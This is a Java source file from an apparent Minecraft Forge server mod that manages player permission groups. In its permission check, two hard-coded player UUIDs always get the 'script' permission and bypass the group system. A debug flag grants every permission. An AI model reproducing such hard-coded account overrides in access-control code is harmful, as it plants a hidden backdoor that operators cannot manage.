PermissionManager.java 4.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148
  1. package me.km.permissions;
  2. import java.util.ArrayList;
  3. import java.util.HashMap;
  4. import java.util.HashSet;
  5. import java.util.UUID;
  6. import net.minecraft.command.CommandSource;
  7. import net.minecraft.entity.Entity;
  8. import net.minecraftforge.api.distmarker.Dist;
  9. import net.minecraftforge.api.distmarker.OnlyIn;
  10. @OnlyIn(Dist.DEDICATED_SERVER)
  11. public class PermissionManager
  12. {
  13. private final HashMap<UUID, ArrayList<Integer>> playerGroups = new HashMap<>();
  14. private final ArrayList<HashSet<String>> stringGroupPerms = new ArrayList<>();
  15. private final HashSet<String> otherGroup = new HashSet<>();
  16. private final boolean debug;
  17. public PermissionManager(boolean debug)
  18. {
  19. this.debug = debug;
  20. addGroups();
  21. }
  22. public void clear()
  23. {
  24. playerGroups.clear();
  25. stringGroupPerms.clear();
  26. addGroups();
  27. }
  28. private void addGroups()
  29. {
  30. stringGroupPerms.add(new HashSet<>());
  31. stringGroupPerms.add(otherGroup);
  32. }
  33. public void addOtherGroupPermission(String perm)
  34. {
  35. otherGroup.add(perm);
  36. }
  37. // -------------------------------------------------------------------------
  38. // Permission-Check
  39. // -------------------------------------------------------------------------
  40. private final static UUID MARVINIUS = UUID.fromString("e41b5335-3c74-46e9-a6c5-dafc6334a477");
  41. private final static UUID KAJETANJOHANNES = UUID.fromString("51e240f9-ab10-4ea6-8a5d-779319f51257");
  42. public boolean hasPermission(Entity ent, String perm)
  43. {
  44. return hasPermission(ent.getUniqueID(), perm);
  45. }
  46. public boolean hasPermission(UUID uuid, String perm)
  47. {
  48. if(debug)
  49. {
  50. return true;
  51. }
  52. if(perm.equals("script"))
  53. {
  54. if(uuid.equals(MARVINIUS) || uuid.equals(KAJETANJOHANNES))
  55. {
  56. return true;
  57. }
  58. }
  59. ArrayList<Integer> groups = playerGroups.get(uuid);
  60. if(groups == null)
  61. {
  62. if(!stringGroupPerms.isEmpty())
  63. {
  64. return stringGroupPerms.get(0).contains(perm);
  65. }
  66. else
  67. {
  68. return false;
  69. }
  70. }
  71. return groups.stream().anyMatch(i -> stringGroupPerms.get(i).contains(perm));
  72. }
  73. public boolean hasPermission(CommandSource cs, String perm)
  74. {
  75. Entity ent = cs.getEntity();
  76. if(ent != null)
  77. {
  78. return hasPermission(ent.getUniqueID(), perm);
  79. }
  80. return true;
  81. }
  82. // -------------------------------------------------------------------------
  83. // Permission-Registry
  84. // -------------------------------------------------------------------------
  85. public void registerPlayerGroup(UUID uuid, int id)
  86. {
  87. if(id < 0 || id >= stringGroupPerms.size())
  88. {
  89. throw new IllegalArgumentException(String.format("%d' is no valid group id", id));
  90. }
  91. ArrayList<Integer> groups = playerGroups.get(uuid);
  92. if(groups == null)
  93. {
  94. groups = new ArrayList<>();
  95. // adding default group
  96. groups.add(0);
  97. playerGroups.put(uuid, groups);
  98. }
  99. groups.add(id);
  100. }
  101. public boolean unregisterPlayer(UUID uuid, int id)
  102. {
  103. if(id < 0 || id >= stringGroupPerms.size())
  104. {
  105. throw new IllegalArgumentException(String.format("%d' is no valid group id", id));
  106. }
  107. ArrayList<Integer> groups = playerGroups.get(uuid);
  108. if(groups == null)
  109. {
  110. return false;
  111. }
  112. return groups.remove((Integer) id);
  113. }
  114. public void registerGroupPermission(int id, String perm)
  115. {
  116. if(perm.isEmpty())
  117. {
  118. throw new IllegalArgumentException("empty permission string");
  119. }
  120. if(id == 1)
  121. {
  122. throw new IllegalArgumentException("id 1 is reserved for worldedit");
  123. }
  124. if(id >= stringGroupPerms.size())
  125. {
  126. HashSet<String> set = new HashSet<>();
  127. set.add(perm);
  128. stringGroupPerms.add(set);
  129. return;
  130. }
  131. stringGroupPerms.get(id).add(perm);
  132. }
  133. }